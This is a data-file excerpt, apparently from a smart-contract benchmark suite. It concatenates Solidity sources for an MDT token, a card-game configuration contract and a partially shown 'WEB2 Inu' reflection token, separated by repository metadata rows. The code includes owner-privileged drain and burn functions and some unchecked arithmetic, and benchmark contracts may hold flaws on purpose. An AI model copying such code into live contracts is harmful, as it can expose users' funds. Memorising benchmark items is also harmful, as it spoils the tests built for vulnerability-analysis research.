require(_mdtFoundationAddress != address(0));
tokenSaleAddress = _tokenSaleAddress;
mdtTeamAddress = _mdtTeamAddress;
userGrowthAddress = _userGrowthAddress;
investorsAddress = _investorsAddress;
mdtFoundationAddress = _mdtFoundationAddress;
// issue tokens to token sale, MDT team, etc
uint256 saleAmount = _presaleAmount.add(_earlybirdAmount).add(BONUS_TOKENS_RESERVED);
mint(tokenSaleAddress, saleAmount);
mint(mdtTeamAddress, TEAM_TOKENS_RESERVED);
mint(userGrowthAddress, USER_GROWTH_TOKENS_RESERVED);
mint(investorsAddress, INVESTORS_TOKENS_RESERVED);
// issue remaining tokens to MDT Foundation
uint256 remainingTokens = maxSupply.sub(totalSupply);
if (remainingTokens > 0) {
mint(mdtFoundationAddress, remainingTokens);
}
}
function mint(address _to, uint256 _amount)
private
validRecipient(_to)
returns (bool)
{
require(totalSupply.add(_amount) <= maxSupply);
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(0x0, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value)
public
validRecipient(_spender)
returns (bool)
{
return super.approve(_spender, _value);
}
function transfer(address _to, uint256 _value)
public
validRecipient(_to)
returns (bool)
{
return super.transfer(_to, _value);
}
function transferAndCall(address _to, uint256 _value, bytes _data)
public
validRecipient(_to)
returns (bool success)
{
return super.transferAndCall(_to, _value, _data);
}
function transferFrom(address _from, address _to, uint256 _value)
public
validRecipient(_to)
returns (bool)
{
return super.transferFrom(_from, _to, _value);
}
function burn(uint256 _value)
public
onlyOwner
returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(msg.sender, _value);
return true;
}
function burnFrom(address _from, uint256 _value)
public
onlyOwner
returns(bool)
{
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
totalSupply = totalSupply.sub(_value);
Burn(_from, _value);
return true;
}
function emergencyERC20Drain(ERC20 token, uint256 amount)
public
onlyOwner
{
token.transfer(owner, amount);
}
function changeTokenSaleAddress(address _tokenSaleAddress)
public
onlyOwner
validRecipient(_tokenSaleAddress)
{
tokenSaleAddress = _tokenSaleAddress;
}
function changeMdtTeamAddress(address _mdtTeamAddress)
public
onlyOwner
validRecipient(_mdtTeamAddress)
{
mdtTeamAddress = _mdtTeamAddress;
}
function changeUserGrowthAddress(address _userGrowthAddress)
public
onlyOwner
validRecipient(_userGrowthAddress)
{
userGrowthAddress = _userGrowthAddress;
}
function changeInvestorsAddress(address _investorsAddress)
public
onlyOwner
validRecipient(_investorsAddress)
{
investorsAddress = _investorsAddress;
}
function changeMdtFoundationAddress(address _mdtFoundationAddress)
public
onlyOwner
validRecipient(_mdtFoundationAddress)
{
mdtFoundationAddress = _mdtFoundationAddress;
}
}
| 176,592 | 14,103 |
bdd6672ef31bee760c742323b42eec6f25035e60e854aea0b28eb7d0ee635de4
| 17,549 |
.sol
|
Solidity
| false |
287517600
|
renardbebe/Smart-Contract-Benchmark-Suites
|
a071ccd7c5089dcaca45c4bc1479c20a5dcf78bc
|
dataset/UR/0xb16b21fa1984c1236cb5296cd3cce39db8bf79bc.sol
| 5,750 | 17,335 |
pragma solidity ^0.4.18;
contract GameConfig {
using SafeMath for SafeMath;
address public owner;
event newCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 baseCoinProduction);
event newBattleCard(uint256 cardId,uint256 baseCoinCost,uint256 coinCostIncreaseHalf,uint256 ethCost,uint256 attackValue,uint256 defenseValue,uint256 coinStealingCapacity);
event newUpgradeCard(uint256 upgradecardId, uint256 coinCost, uint256 ethCost, uint256 upgradeClass, uint256 cardId, uint256 upgradeValue);
struct Card {
uint256 cardId;
uint256 baseCoinCost;
uint256 coinCostIncreaseHalf;
uint256 ethCost;
uint256 baseCoinProduction;
bool unitSellable;
}
struct BattleCard {
uint256 cardId;
uint256 baseCoinCost;
uint256 coinCostIncreaseHalf;
uint256 ethCost;
uint256 attackValue;
uint256 defenseValue;
uint256 coinStealingCapacity;
bool unitSellable;
}
struct UpgradeCard {
uint256 upgradecardId;
uint256 coinCost;
uint256 ethCost;
uint256 upgradeClass;
uint256 cardId;
uint256 upgradeValue;
}
mapping(uint256 => Card) private cardInfo;
mapping(uint256 => BattleCard) private battlecardInfo;
mapping(uint256 => UpgradeCard) private upgradeInfo;
uint256 public currNumOfCards = 9;
uint256 public currNumOfBattleCards = 6;
uint256 public currNumOfUpgrades;
uint256 PLATPrice = 65000;
string versionNo;
function GameConfig() public {
owner = msg.sender;
versionNo = "20180706";
cardInfo[1] = Card(1, 0, 10, 0, 2, true);
cardInfo[2] = Card(2, 100, 50, 0, 5, true);
cardInfo[3] = Card(3, 0, 0, 0.01 ether, 100, true);
cardInfo[4] = Card(4, 200, 100, 0, 10, true);
cardInfo[5] = Card(5, 500, 250, 0, 20, true);
cardInfo[6] = Card(6, 1000, 500, 0, 40, true);
cardInfo[7] = Card(7, 0, 1000, 0.05 ether, 500, true);
cardInfo[8] = Card(8, 1500, 750, 0, 60, true);
cardInfo[9] = Card(9, 0, 0, 0.99 ether, 5500, false);
battlecardInfo[40] = BattleCard(40, 50, 25, 0, 10, 10, 10000, true);
battlecardInfo[41] = BattleCard(41, 100, 50, 0, 1, 25, 500, true);
battlecardInfo[42] = BattleCard(42, 0, 0, 0.01 ether, 200, 10, 50000, true);
battlecardInfo[43] = BattleCard(43, 250, 125, 0, 25, 1, 15000, true);
battlecardInfo[44] = BattleCard(44, 500, 250, 0, 20, 40, 5000, true);
battlecardInfo[45] = BattleCard(45, 0, 2500, 0.02 ether, 0, 0, 100000, true);
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function setPLATPrice(uint256 price) external onlyOwner {
PLATPrice = price;
}
function getPLATPrice() external view returns (uint256) {
return PLATPrice;
}
function getVersion() external view returns(string) {
return versionNo;
}
function InitUpgradeCard() external onlyOwner {
CreateUpgradeCards(1,500,0,0,1,1);
CreateUpgradeCards(2 ,0,0.02 ether,1,1,1);
CreateUpgradeCards(3,0,0.1 ether,8,1,999);
CreateUpgradeCards(4,0,0.02 ether,0,2,2);
CreateUpgradeCards(5,5000,0,1,2,5);
CreateUpgradeCards(6,0,0.1 ether,8,2,999);
CreateUpgradeCards(7,5000,0,0,3,5);
CreateUpgradeCards(8,0,0.1 ether,1,3,5);
CreateUpgradeCards(9,5000000,0,8,3,999);
CreateUpgradeCards(10,0,0.02 ether,0,4,4);
CreateUpgradeCards(11,10000,0,1,4,5);
CreateUpgradeCards(12,0,0.1 ether,8,4,999);
CreateUpgradeCards(13,15000,0,0,5,6);
CreateUpgradeCards(14,0,0.25 ether,1,5,5);
CreateUpgradeCards(15,0,0.1 ether,8,5,999);
CreateUpgradeCards(16,0,0.02 ether,0,6,8);
CreateUpgradeCards(17,30000,0,1,6,5);
CreateUpgradeCards(18,0,0.1 ether,8,6,999);
CreateUpgradeCards(19,35000,0,0,7,25);
CreateUpgradeCards(20,0,0.05 ether,1,7,5);
CreateUpgradeCards(21,5000000,0,8,7,999);
CreateUpgradeCards(22,0,0.02 ether,0,8,10);
CreateUpgradeCards(23,75000,0,1,8,5);
CreateUpgradeCards(24,0,0.1 ether,8,8,999);
CreateUpgradeCards(25,1000,0,2,40,5);
CreateUpgradeCards(26,2500,0,4,40,5);
CreateUpgradeCards(27,50000000,0,8,40,999);
CreateUpgradeCards(28,2500,0,4,41,5);
CreateUpgradeCards(29,5000,0,5,41,5);
CreateUpgradeCards(30,50000000,0,8,41,999);
CreateUpgradeCards(31,5000,0,2,42,10);
CreateUpgradeCards(32,7500,0,3,42,5);
CreateUpgradeCards(33,5000000,0,8,42,999);
CreateUpgradeCards(34,7500,0,2,43,5);
CreateUpgradeCards(35,10000,0,6,43,1000);
CreateUpgradeCards(36,50000000,0,8,43,999);
CreateUpgradeCards(37,10000,0,3,44,5);
CreateUpgradeCards(38,15000,0,5,44,5);
CreateUpgradeCards(39,50000000,0,8,44,999);
CreateUpgradeCards(40,25000,0,6,45,10000);
CreateUpgradeCards(41,50000,0,7,45,5);
CreateUpgradeCards(42,5000000,0,8,45,999);
}
function CreateBattleCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint _attackValue, uint256 _defenseValue, uint256 _coinStealingCapacity, bool _unitSellable) public onlyOwner {
BattleCard memory _battlecard = BattleCard({
cardId: _cardId,
baseCoinCost: _baseCoinCost,
coinCostIncreaseHalf: _coinCostIncreaseHalf,
ethCost: _ethCost,
attackValue: _attackValue,
defenseValue: _defenseValue,
coinStealingCapacity: _coinStealingCapacity,
unitSellable: _unitSellable
});
battlecardInfo[_cardId] = _battlecard;
currNumOfBattleCards = SafeMath.add(currNumOfBattleCards,1);
newBattleCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_attackValue,_defenseValue,_coinStealingCapacity);
}
function CreateCards(uint256 _cardId, uint256 _baseCoinCost, uint256 _coinCostIncreaseHalf, uint256 _ethCost, uint256 _baseCoinProduction, bool _unitSellable) public onlyOwner {
Card memory _card = Card({
cardId: _cardId,
baseCoinCost: _baseCoinCost,
coinCostIncreaseHalf: _coinCostIncreaseHalf,
ethCost: _ethCost,
baseCoinProduction: _baseCoinProduction,
unitSellable: _unitSellable
});
cardInfo[_cardId] = _card;
currNumOfCards = SafeMath.add(currNumOfCards,1);
newCard(_cardId,_baseCoinCost,_coinCostIncreaseHalf,_ethCost,_baseCoinProduction);
}
function CreateUpgradeCards(uint256 _upgradecardId, uint256 _coinCost, uint256 _ethCost, uint256 _upgradeClass, uint256 _cardId, uint256 _upgradeValue) public onlyOwner {
UpgradeCard memory _upgradecard = UpgradeCard({
upgradecardId: _upgradecardId,
coinCost: _coinCost,
ethCost: _ethCost,
upgradeClass: _upgradeClass,
cardId: _cardId,
upgradeValue: _upgradeValue
});
upgradeInfo[_upgradecardId] = _upgradecard;
currNumOfUpgrades = SafeMath.add(currNumOfUpgrades,1);
newUpgradeCard(_upgradecardId,_coinCost,_ethCost,_upgradeClass,_cardId,_upgradeValue);
}
function getCostForCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
uint256 icount = existing;
if (amount == 1) {
if (existing == 0) {
return cardInfo[cardId].baseCoinCost;
} else {
return cardInfo[cardId].baseCoinCost + (existing * cardInfo[cardId].coinCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (cardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * cardInfo[cardId].coinCostIncreaseHalf);
}
icount = SafeMath.add(existing,amount);
uint256 newCost = SafeMath.add(SafeMath.mul(cardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), cardInfo[cardId].coinCostIncreaseHalf));
return newCost - existingCost;
}
}
function getCostForBattleCards(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
uint256 icount = existing;
if (amount == 1) {
if (existing == 0) {
return battlecardInfo[cardId].baseCoinCost;
} else {
return battlecardInfo[cardId].baseCoinCost + (existing * battlecardInfo[cardId].coinCostIncreaseHalf * 2);
}
} else if (amount > 1) {
uint256 existingCost;
if (existing > 0) {
existingCost = (battlecardInfo[cardId].baseCoinCost * existing) + (existing * (existing - 1) * battlecardInfo[cardId].coinCostIncreaseHalf);
}
icount = SafeMath.add(existing,amount);
uint256 newCost = SafeMath.add(SafeMath.mul(battlecardInfo[cardId].baseCoinCost, icount), SafeMath.mul(SafeMath.mul(icount, (icount - 1)), battlecardInfo[cardId].coinCostIncreaseHalf));
return newCost - existingCost;
}
}
function getCostForUprade(uint256 cardId, uint256 existing, uint256 amount) public constant returns (uint256) {
if (amount == 1) {
if (existing == 0) {
return upgradeInfo[cardId].coinCost;
} else if (existing == 1 || existing == 4){
return 0;
}else if (existing == 2) {
return upgradeInfo[cardId].coinCost * 50;
}else if (existing == 3) {
return upgradeInfo[cardId].coinCost * 50 * 40;
}else if (existing == 5) {
return upgradeInfo[cardId].coinCost * 50 * 40 * 30;
}
}
}
function getWeakenedDefensePower(uint256 defendingPower) external pure returns (uint256) {
return SafeMath.div(defendingPower,2);
}
function unitEthCost(uint256 cardId) external constant returns (uint256) {
return cardInfo[cardId].ethCost;
}
function unitBattleEthCost(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].ethCost;
}
function unitBattlePLATCost(uint256 cardId) external constant returns (uint256) {
return SafeMath.mul(battlecardInfo[cardId].ethCost,PLATPrice);
}
function unitPLATCost(uint256 cardId) external constant returns (uint256) {
return SafeMath.mul(cardInfo[cardId].ethCost,PLATPrice);
}
function unitCoinProduction(uint256 cardId) external constant returns (uint256) {
return cardInfo[cardId].baseCoinProduction;
}
function unitAttack(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].attackValue;
}
function unitDefense(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].defenseValue;
}
function unitStealingCapacity(uint256 cardId) external constant returns (uint256) {
return battlecardInfo[cardId].coinStealingCapacity;
}
function productionCardIdRange() external constant returns (uint256, uint256) {
return (1, currNumOfCards);
}
function battleCardIdRange() external constant returns (uint256, uint256) {
uint256 battleMax = SafeMath.add(39,currNumOfBattleCards);
return (40, battleMax);
}
function upgradeIdRange() external constant returns (uint256, uint256) {
return (1, currNumOfUpgrades);
}
function getcurrNumOfCards() external view returns (uint256) {
return currNumOfCards;
}
function getcurrNumOfUpgrades() external view returns (uint256) {
return currNumOfUpgrades;
}
function getCardsInfo(uint256 cardId) external constant returns (uint256 baseCoinCost,
uint256 coinCostIncreaseHalf,
uint256 ethCost,
uint256 baseCoinProduction,
uint256 platCost,
bool unitSellable) {
baseCoinCost = cardInfo[cardId].baseCoinCost;
coinCostIncreaseHalf = cardInfo[cardId].coinCostIncreaseHalf;
ethCost = cardInfo[cardId].ethCost;
baseCoinProduction = cardInfo[cardId].baseCoinProduction;
platCost = SafeMath.mul(ethCost,PLATPrice);
unitSellable = cardInfo[cardId].unitSellable;
}
function getCardInfo(uint256 cardId, uint256 existing, uint256 amount) external view returns
(uint256, uint256, uint256, uint256, bool) {
return (cardInfo[cardId].cardId,
cardInfo[cardId].baseCoinProduction,
getCostForCards(cardId, existing, amount),
SafeMath.mul(cardInfo[cardId].ethCost, amount),
cardInfo[cardId].unitSellable);
}
function getBattleCardInfo(uint256 cardId, uint256 existing, uint256 amount) external constant returns
(uint256, uint256, uint256, bool) {
return (battlecardInfo[cardId].cardId,
getCostForBattleCards(cardId, existing, amount),
SafeMath.mul(battlecardInfo[cardId].ethCost, amount),
battlecardInfo[cardId].unitSellable);
}
function getBattleCardsInfo(uint256 cardId) external constant returns (uint256 baseCoinCost,
uint256 coinCostIncreaseHalf,
uint256 ethCost,
uint256 attackValue,
uint256 defenseValue,
uint256 coinStealingCapacity,
uint256 platCost,
bool unitSellable) {
baseCoinCost = battlecardInfo[cardId].baseCoinCost;
coinCostIncreaseHalf = battlecardInfo[cardId].coinCostIncreaseHalf;
ethCost = battlecardInfo[cardId].ethCost;
attackValue = battlecardInfo[cardId].attackValue;
defenseValue = battlecardInfo[cardId].defenseValue;
coinStealingCapacity = battlecardInfo[cardId].coinStealingCapacity;
platCost = SafeMath.mul(ethCost,PLATPrice);
unitSellable = battlecardInfo[cardId].unitSellable;
}
function getUpgradeInfo(uint256 upgradeId) external constant returns (uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost) {
coinCost = upgradeInfo[upgradeId].coinCost;
ethCost = upgradeInfo[upgradeId].ethCost;
upgradeClass = upgradeInfo[upgradeId].upgradeClass;
cardId = upgradeInfo[upgradeId].cardId;
upgradeValue = upgradeInfo[upgradeId].upgradeValue;
platCost = SafeMath.mul(ethCost,PLATPrice);
}
function getUpgradeCardsInfo(uint256 upgradecardId, uint256 existing) external constant returns (uint256 coinCost,
uint256 ethCost,
uint256 upgradeClass,
uint256 cardId,
uint256 upgradeValue,
uint256 platCost) {
coinCost = upgradeInfo[upgradecardId].coinCost;
ethCost = upgradeInfo[upgradecardId].ethCost;
upgradeClass = upgradeInfo[upgradecardId].upgradeClass;
cardId = upgradeInfo[upgradecardId].cardId;
if (upgradeClass==8) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue;
if (ethCost>0) {
if (existing==1) {
ethCost = 0.2 ether;
} else if (existing==2) {
ethCost = 0.5 ether;
}
} else {
bool bf = false;
if (upgradecardId == 27 || upgradecardId==30 || upgradecardId==36) {
bf = true;
}
if (bf == true) {
if (existing==1) {
coinCost = 0;
ethCost = 0.1 ether;
} else if (existing==2) {
coinCost = 0;
ethCost = 0.1 ether;
}
}else{
if (existing==1) {
coinCost = coinCost * 10;
} else if (existing==2) {
coinCost = coinCost * 100;
}
}
}
if (existing ==1) {
upgradeValue = 9999;
}else if (existing==2){
upgradeValue = 99999;
}
} else {
uint8 uflag;
if (coinCost >0) {
if (upgradeClass ==0 || upgradeClass ==1 || upgradeClass == 3) {
uflag = 1;
} else if (upgradeClass==2 || upgradeClass == 4 || upgradeClass==5 || upgradeClass==7) {
uflag = 2;
}
}
if (coinCost>0 && existing>=1) {
coinCost = getCostForUprade(upgradecardId, existing, 1);
}
if (ethCost>0) {
if (upgradecardId == 2) {
if (existing>=1) {
ethCost = SafeMath.mul(ethCost,2);
}
}
} else {
if ((existing ==1 || existing ==4)) {
if (ethCost<=0) {
ethCost = 0.1 ether;
coinCost = 0;
}
}
}
upgradeValue = upgradeInfo[upgradecardId].upgradeValue;
if (ethCost>0) {
if (uflag==1) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 2;
} else if (uflag==2) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 4;
} else {
if (upgradeClass == 6){
if (upgradecardId == 27){
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 5;
} else if (upgradecardId == 40) {
upgradeValue = upgradeInfo[upgradecardId].upgradeValue * 3;
}
}
}
}
}
platCost = SafeMath.mul(ethCost,PLATPrice);
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
| 165,906 | 14,104 |
ae89361f9fc5c9fe1ad75c9d1cd7a64900c219ec108821ba790a52b395e96190
| 26,704 |
.sol
|
Solidity
| false |
454395313
|
solidproof/projects
|
e4944c9bb61ee5a4776813b37db72129ff648eb2
|
Web2 Inu/Contracts/web2inu.sol
| 4,803 | 17,936 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract WEB2 is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 _rOwnedExcluded;
uint256 _tOwnedExcluded;
mapping (address => bool) private _isExcluded;
address[] private _excluded;
mapping (address => uint256) private _excludedIndex;
mapping (address => bool) private _isWhitelisted;
address[] private _whitelisted;
mapping (address => uint256) private _whitelistIndex;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 10000000 * 10**6 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private constant _name = 'WEB2 Inu';
string private constant _symbol = 'WEB2';
uint8 private constant _decimals = 9;
uint256 public _maxTxAmount = 100000 * 10**6 * 10**9;
mapping (address => uint256) private lastBuy;
mapping (address => uint256) private lastBuyCounter;
uint256 private _buyCounter = 0;
constructor () public {
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function isExcluded(address account) public view returns (bool) {
return _isExcluded[account];
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function reflect(uint256 tAmount) public {
address sender = _msgSender();
require(!_isExcluded[sender], "Excluded addresses cannot call this function");
(uint256 rAmount,,,,) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (_isExcluded[sender]) {
_rOwnedExcluded = _rOwnedExcluded.sub(rAmount);
}
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) {
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount,,,,) = _getValues(tAmount);
return rAmount;
} else {
(,uint256 rTransferAmount,,,) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount) public view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeAccount(address account) external onlyOwner() {
require(!_isExcluded[account], "Account is already excluded");
if(_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
_tOwnedExcluded = _tOwnedExcluded.add(_tOwned[account]);
}
_isExcluded[account] = true;
_excludedIndex[account] = _excluded.length;
_excluded.push(account);
}
function includeAccount(address account) external onlyOwner() {
require(_isExcluded[account], "Account is already excluded");
uint256 i = _excludedIndex[account];
_excluded[i] = _excluded[_excluded.length - 1];
_excludedIndex[_excluded[i]] = i;
_excluded.pop();
delete _excludedIndex[account];
_tOwnedExcluded = _tOwnedExcluded.sub(_tOwned[account]);
_tOwned[account] = 0;
_isExcluded[account] = false;
}
function addToWhitelist(address account) external onlyOwner() {
require(!_isWhitelisted[account], "Account is already whitelisted");
_isWhitelisted[account] = true;
_whitelistIndex[account] = _whitelisted.length;
_whitelisted.push(account);
}
function removeFromWhitelist(address account) external onlyOwner() {
require(_isWhitelisted[account], "Account is not whitelisted");
uint256 i = _whitelistIndex[account];
_whitelisted[i] = _whitelisted[_whitelisted.length - 1];
_whitelistIndex[_whitelisted[i]] = i;
_whitelisted.pop();
_isWhitelisted[account] = false;
delete _whitelistIndex[account];
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) private {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if(sender != owner() && recipient != owner()) {
require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount.");
}
if (sender != owner() && recipient != owner() && !_isWhitelisted[sender] && !_isWhitelisted[recipient]) {
if (lastBuyCounter[sender] != _buyCounter) {
require(lastBuy[sender] != block.number, "Bot detected");
}
_buyCounter += 1;
lastBuy[recipient] = block.number;
lastBuyCounter[recipient] = _buyCounter;
}
if (_isExcluded[sender]) {
if (_isExcluded[recipient]) {
_transferBothExcluded(sender, recipient, amount);
} else {
_transferFromExcluded(sender, recipient, amount);
}
} else {
if (_isExcluded[recipient]) {
_transferToExcluded(sender, recipient, amount);
} else {
_transferStandard(sender, recipient, amount);
}
}
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferToExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_tOwnedExcluded = _tOwnedExcluded.add(tTransferAmount);
_rOwnedExcluded = _rOwnedExcluded.add(rTransferAmount);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
